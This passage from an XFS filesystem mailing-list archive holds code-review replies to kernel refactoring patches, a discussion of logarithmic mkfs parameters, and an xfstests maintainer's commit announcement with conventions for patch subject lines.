id 1VneJP-0007vo-MI; Tue, 03 Dec 2013 11:58:03 +1100 Date: Tue, 3 Dec 2013 11:58:03 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 01/10] xfs: remove duplicate code in xlog_cil_insert_format_items Message-ID: <20131203005803.GM10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 01/10] xfs: remove duplicate code in xlog_cil_insert_format_items References: <20131129083919.207915844@bombadil.infradead.org> <20131129084000.123386171@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131129084000.123386171@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386032612 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142795 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Nov 29, 2013 at 12:39:20AM -0800, Christoph Hellwig wrote: > Share code that was previously duplicated in two branches. > > Signed-off-by: Christoph Hellwig looks good. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Dec 2 19:04:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 852447F58 for ; Mon, 2 Dec 2013 19:04:33 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 762AC30409A for ; Mon, 2 Dec 2013 17:04:30 -0800 (PST) X-ASG-Debug-ID: 1386032668-04cb6c537d4912a0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id Va36DT1q4qxBc6Gt for ; Mon, 02 Dec 2013 17:04:29 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao4IAH8tnVJ5LHyk/2dsb2JhbABZgwe0JIVOgSYXdIIlAQEFOhwjEAgDDgoJJQ8FJQMhE4gAwG4XFo5yB4QzA5gTikyHSIM9KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 03 Dec 2013 11:34:27 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VneOM-0007x3-Nu; Tue, 03 Dec 2013 12:03:10 +1100 Date: Tue, 3 Dec 2013 12:03:10 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 02/10] xfs: refactor xfs_buf_item_format_segment Message-ID: <20131203010310.GN10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 02/10] xfs: refactor xfs_buf_item_format_segment References: <20131129083919.207915844@bombadil.infradead.org> <20131129084000.310003388@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131129084000.310003388@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386032668 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142795 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Nov 29, 2013 at 12:39:21AM -0800, Christoph Hellwig wrote: > Add two helpers to make the code more readable. > > Signed-off-by: Christoph Hellwig Looks good. Much easier to understand split out like this, so thanks for doing that. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Dec 2 19:06:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4ADA27F58 for ; Mon, 2 Dec 2013 19:06:13 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id EAD72AC004 for ; Mon, 2 Dec 2013 17:06:12 -0800 (PST) X-ASG-Debug-ID: 1386032771-04bdf06eee49a3e0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id nlqzIAO1HExY6Um1 for ; Mon, 02 Dec 2013 17:06:11 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao4IAH8tnVJ5LHyk/2dsb2JhbABZgwe0JIVOgSYXdIIlAQEFOhwjEAgDDgoJJQ8FJQMhE4gAwG4XFo5yB4QzA5gTikyHSIM9KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 03 Dec 2013 11:36:11 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VneRA-0007xZ-AP; Tue, 03 Dec 2013 12:06:04 +1100 Date: Tue, 3 Dec 2013 12:06:04 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 03/10] xfs: refactor xfs_inode_item_size Message-ID: <20131203010604.GO10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 03/10] xfs: refactor xfs_inode_item_size References: <20131129083919.207915844@bombadil.infradead.org> <20131129084000.509159807@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131129084000.509159807@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386032771 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142795 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Nov 29, 2013 at 12:39:22AM -0800, Christoph Hellwig wrote: > Split out two helpers to size the data and attribute to make the > function more readable. > > Signed-off-by: Christoph Hellwig Looks good. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Dec 2 19:10:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B118D7F58 for ; Mon, 2 Dec 2013 19:10:39 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4809DAC00C for ; Mon, 2 Dec 2013 17:10:39 -0800 (PST) X-ASG-Debug-ID: 1386033036-04cb6c537e491740001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id duEjrwifD7M4SeFu for ; Mon, 02 Dec 2013 17:10:37 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao4IAKQunVJ5LHyk/2dsb2JhbABZgwe0JIVOgSUXdIIlAQEFOhwjEAgDDgoJJQ8FJQMhE4gAwG8XFo5yB4QzA5gTikyHSIM9KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 03 Dec 2013 11:40:36 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VneVT-0007yC-Da; Tue, 03 Dec 2013 12:10:31 +1100 Date: Tue, 3 Dec 2013 12:10:31 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 04/10] xfs: refactor xfs_inode_item_format Message-ID: <20131203011031.GP10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 04/10] xfs: refactor xfs_inode_item_format References: <20131129083919.207915844@bombadil.infradead.org> <20131129084000.669357715@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131129084000.669357715@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386033036 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142795 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Nov 29, 2013 at 12:39:23AM -0800, Christoph Hellwig wrote: > Split out a function to handle the data and attr fork, as well as a helper > for the really old v1 inodes. > > Signed-off-by: Christoph Hellwig Much nicer! Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Dec 2 19:21:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6C1617F58 for ; Mon, 2 Dec 2013 19:21:27 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4A5AF30409A for ; Mon, 2 Dec 2013 17:21:27 -0800 (PST) X-ASG-Debug-ID: 1386033685-04cbb04166497c20001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 3jOhmvS3ZJ9Axyf3 for ; Mon, 02 Dec 2013 17:21:25 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao4IAAYxnVJ5LHyk/2dsb2JhbABZgwe0JIVOgSEXdIIlAQEFOhwjEAgDDgoJJQ8FJQMhE4gAwHEXFo5yB4QzA5gTikyHSIM9KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 03 Dec 2013 11:51:24 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vnefw-0007zM-W2; Tue, 03 Dec 2013 12:21:21 +1100 Date: Tue, 3 Dec 2013 12:21:20 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 05/10] xfs: introduce xlog_copy_iovec Message-ID: <20131203012120.GQ10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 05/10] xfs: introduce xlog_copy_iovec References: <20131129083919.207915844@bombadil.infradead.org> <20131129084000.853201203@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131129084000.853201203@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386033685 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142796 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Nov 29, 2013 at 12:39:24AM -0800, Christoph Hellwig wrote: > Add a helper to abstract out filling the log iovecs in the log item format > handlers. This will allow us to change the way we do the log item > formatting more easily. > > The copy in the name is a bit confusing for now as it just assigns a > pointer and lets the CIL code perform the copy, but that will change > soon. > > Signed-off-by: Christoph Hellwig Looks good - I think the helper was worth the effort. ;) Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From mlsemon35@gmail.com Mon Dec 2 19:34:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7779D7F58 for ; Mon, 2 Dec 2013 19:34:58 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4B5D28F8092 for ; Mon, 2 Dec 2013 17:34:55 -0800 (PST) X-ASG-Debug-ID: 1386034493-04bdf06eef49b620001-NocioJ Received: from mail-yh0-f52.google.com (mail-yh0-f52.google.com [209.85.213.52]) by cuda.sgi.com with ESMTP id aLjisERRhP5Oi2yG (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 02 Dec 2013 17:34:54 -0800 (PST) X-Barracuda-Envelope-From: mlsemon35@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.213.52 X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.52] Received: by mail-yh0-f52.google.com with SMTP id i72so9574917yha.39 for ; Mon, 02 Dec 2013 17:34:53 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.52] X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.52] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; bh=BkG3dOKho4zHJ1iI4ZIgrwcDliu5ywk1YzttQ5ZdoHA=; b=oEYzA6GRkDl8cWE+yPTfTnCHW8eSffwUNvoxszaX3jd01dJuaTBGzdBxIJQ76guWuu skq/r4vQ0B8kHnlKYN2udUh+KFMfSSL0f5HNJXvTZduQzJbSq5lQKBrRHsC+aUrmj7FM f6riRyB12eisN2HCUTxGOrQMgGs6GXb9mjhL/Ua5Qj+i9K2Hh8BLWLxdRv8PHIWV/HX8 +tt4QkyRpMKH2zoubURbVVFuDbB90LKjIU0POrOw5EKTezZwPKGvy1i7bO/1nWAs+RC4 F1HggVLctD9RFda7K3gskbAAU/ZBpbtPqIKwFHbQ9O2X0/4HiDewQPVQso3n1p0Z+AX3 xqIA== X-Received: by 10.236.139.198 with SMTP id c46mr3887972yhj.78.1386034493243; Mon, 02 Dec 2013 17:34:53 -0800 (PST) Received: from [192.168.0.129] (rrcs-97-79-21-178.se.biz.rr.com. [97.79.21.178]) by mx.google.com with ESMTPSA id r64sm3229187yhc.23.2013.12.02.17.34.52 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 02 Dec 2013 17:34:52 -0800 (PST) Message-ID: <529D352F.8020306@gmail.com> Date: Mon, 02 Dec 2013 20:34:39 -0500 From: "Michael L. Semon" User-Agent: Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20100101 Thunderbird/24.1.1 MIME-Version: 1.0 To: Christoph Hellwig , Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 06/15] mkfs: validate logarithmic parameters sanely References: <1385689430-10103-1-git-send-email-david@fromorbit.com> <1385689430-10103-7-git-send-email-david@fromorbit.com> <20131202170601.GB14935@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 06/15] mkfs: validate logarithmic parameters sanely In-Reply-To: <20131202170601.GB14935@infradead.org> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-yh0-f52.google.com[209.85.213.52] X-Barracuda-Start-Time: 1386034493 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142796 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 12/02/2013 12:06 PM, Christoph Hellwig wrote: > On Fri, Nov 29, 2013 at 12:43:41PM +1100, Dave Chinner wrote: >> From: Dave Chinner >> >> Testing logarithmic paramters like "-n log=" shows that we do a >> terrible job of validating such input. e.g.: >> >> # mkfs.xfs -f -n log=456858480 /dev/vda >> ..... >> naming =version 2 bsize=65536 ascii-ci=0 ftype=0 >> .... >> >> Yeah, I just asked for a block size of 2^456858480, and it didn't >> get rejected. Great, isn't it? >> >> So, factor out the parsing of logarithmic parameters, and pass in >> the maximum valid value that they can take. These maximum values >> might not be completely accurate (e.g. block/sector sizes will >> affect the eventual valid maximum) but we can get rid of all the >> overflows and stupidities before we get to fine-grained validity >> checking later in mkfs once things like block and sector sizes have >> been finalised. > > Btw, is there any good reason not to deprecate the logarithmic > parameters? I can't see why anyone would want to use them, but I see > lots of potential for confusion (happened to myself in the past). > > The patch itself looks good: I use log= almost exclusively. The habit comes from using ntpd for many years. An ntp.conf line like this... server ntp.example.org minpoll 4 maxpoll 10 ...means "poll server 'ntp.example.org' no fewer than once every 16s, no greater than once every 1024s." For XFS, I remember the numbers 9, 10, and 11, dropping the 12 because it's the default. At least for block sizes, v5 XFS has me dropping the 9 as well. There are many places in computers to remember 1024 and 2048, and they're just more readily in mind as 10 and 11. Personal preference. Feel free to deprecate it, though. The change back to non-logarithmic notation isn't going to be a problem. I was just putting in my two cents on the matter. Thanks! Michael From david@fromorbit.com Mon Dec 2 22:29:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3601A7F58 for ; Mon, 2 Dec 2013 22:29:49 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 26194304070 for ; Mon, 2 Dec 2013 20:29:46 -0800 (PST) X-ASG-Debug-ID: 1386044983-04cbb0416749ff90001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id pbym5kN5TriMOgWI for ; Mon, 02 Dec 2013 20:29:44 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao4IAKRdnVJ5LHyk/2dsb2JhbABZgwe0J4VOgRkXdIIlAQEFOhwYCxAIAw4KCSUPBSUDIROIAMEDFoQkgkeIBweEMwOYE5IUgz0o Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 03 Dec 2013 14:59:43 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vnhc8-0008NZ-H4; Tue, 03 Dec 2013 15:29:36 +1100 Date: Tue, 3 Dec 2013 15:29:36 +1100 From: Dave Chinner To: Ben Myers Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: stop special casing nfs and udf Message-ID: <20131203042936.GY8803@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: stop special casing nfs and udf References: <20131107204635.GA22954@infradead.org> <20131122091553.GA32568@infradead.org> <20131202174045.GA21861@infradead.org> <20131202232549.GV8803@dastard> <20131202233629.GM1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131202233629.GM1935@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386044983 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142799 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Dec 02, 2013 at 05:36:30PM -0600, Ben Myers wrote: > On Tue, Dec 03, 2013 at 10:25:49AM +1100, Dave Chinner wrote: > > On Mon, Dec 02, 2013 at 09:40:45AM -0800, Christoph Hellwig wrote: > > > On Fri, Nov 22, 2013 at 01:15:53AM -0800, Christoph Hellwig wrote: > > > > ping? > > > > > > ping^2? > > > > I just got write access to the XFS git repos on oss.sgi.com, so I'll > > start hoovering up all the outstanding xfstests patches as a > > shakedown pass before I touch anything else... > > You might want to chat with Rich. There may be some already in progress. I've already pushed the ones I found last week on the list. FYI, I've been waiting for repo write perms to be able to push them since wednesday last week. Rich hasn't said anything on the mailing list or on IRC in that time, so I can only conclude that he's off doing something else. Handling xfstests patches in a manner necessary for upstream commit is something I've already integrated into my day-to-day workflow. As such, I'm able to push reviewed patches at almost any time (within reason - next day is best for everyone) at almost zero cost to me. That cost will go down as I script and optimise my workflow. If other developers don't want me to do this, let them speak up. However, as a maintainer, I'm not happy with leaving reviewed patches on the list for weeks before commiting them. As a developer, there is nothing more frsutrating that having to continually remind the maintainer that they need to commit a patch. Hence if a developer sends a ping to remind the maintainers about a reviewed patch that has been sitting around, then I'm going to do something about it straight away... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Dec 2 23:08:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5ADFB29DF9 for ; Mon, 2 Dec 2013 23:08:17 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 388F730407A for ; Mon, 2 Dec 2013 21:08:17 -0800 (PST) X-ASG-Debug-ID: 1386047290-04cbb041664a20b0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 7RcOLGr5M5eCkgKC for ; Mon, 02 Dec 2013 21:08:11 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AowIAP1lnVJ5LHyk/2dsb2JhbABZgwe0J4VOgRkXdIJmHBgLGCQ0BSUDNBmHZ8B+Fo4QEQFQhDoDmBOSFIM9KIE1 Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 03 Dec 2013 15:38:09 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VniDP-0008Rh-5x; Tue, 03 Dec 2013 16:08:07 +1100 Date: Tue, 3 Dec 2013 16:08:07 +1100 From: Dave Chinner To: xfs@oss.sgi.com Cc: linux-ext4@vger.kernel.org, linux-btrfs@vger.kernel.org Subject: [ANNOUNCE] xfstests: tree updated to 0a7f216b Message-ID: <20131203050807.GZ8803@dastard> X-ASG-Orig-Subj: [ANNOUNCE] xfstests: tree updated to 0a7f216b MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386047290 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142799 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, I've just committed some outstanding patches to the xfstests repository. The commits are listed below for your information, with the current head being: 0a7f216b7962fd15e0fd749110776ca69b718932 generic: add a rename fsync test Some book-keeping stuff follows. Firstly, I'm going to look into adding commit hooks into the xfstests repository to get it send automated commit message emails when the repo is updated like is done for the main xfs kernel repository. That will save having to walk through every patch replying to say "applied". I'd like to start by getting those emails sent to the XFS, btrfs and ext4 mailing lists, but I'm open to having them sent elsewhere, too. I'm open to ideas about whether this is too many lists or whether there are other lists we should send such email to. Secondly, you might note that I rewrote the subject lines of the commits below. The main reason for doing this is to make the git log readable and to give an idea of what was changed in the commit. So, some new conventions I'd like to see people try to use for their xfstests patch descriptions. 1. the first word describes the tests/ subdirectory the change belongs to. e.g. xfs, btrfs, generic, shared, etc 2. if it's an infrastructure change or touches multiple different sets of tests, then use "xfstests" as the keyword 3. Don't use test numbers in commit messages or subject lines for new tests. We typically have to renumber tests as part of the commit process, so if we forget to modify the commit message then it looks rather strange.... 4. when fixing a specific test, always refer to it as "/", such as generic/273 or btrfs/022. This is needed because we can have duplicate test names in different sub directories. Hence a typical set of subjects might be: xfs: fix fubaroo in xfs/299 generic: use correct frobnozzle on generic/230 xfstests: prevent bozo errors when compiling ltp/iogen.c This makes life easier when browsing the commit history. I'll be modifying subject lines as I process them to follow these conventions, so if people adopt them it makes it better for everyone. Lastly, I'm going to try to keep the commit latency of reviewed xfstests patches to around 24-48 hours after the patch has been reviewed. I don't want reviewed patches to sit around for weeks before they are committed, so please ping the patch if it's been reviewed and not committed after a couple of days. Thanks all, Dave. ---- Anand Jain (1): * [ed14876] btrfs: test if raids are actually created Brian Foster (1): * [0746f7b] generic: use correct size value in generic/273 Christoph Hellwig (1): * [c041421] xfstests: stop special casing nfs and udf Jie Liu (1): * [5bcbff9] xfs: verify xfs_quota commands against invalid mount path Josef Bacik (3): * [cb5dd61] btrfs: add basic qgroup testing * [640d1e1] generic: add new test for fsync() on directories * [0a7f216] generic: add a rename fsync test Miao Xie (1): * [bd50b75] btrfs: add wrong compression type regression test -- Dave Chinner david@fromorbit.com From jeff.liu@oracle.com Tue Dec 3 01:36:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 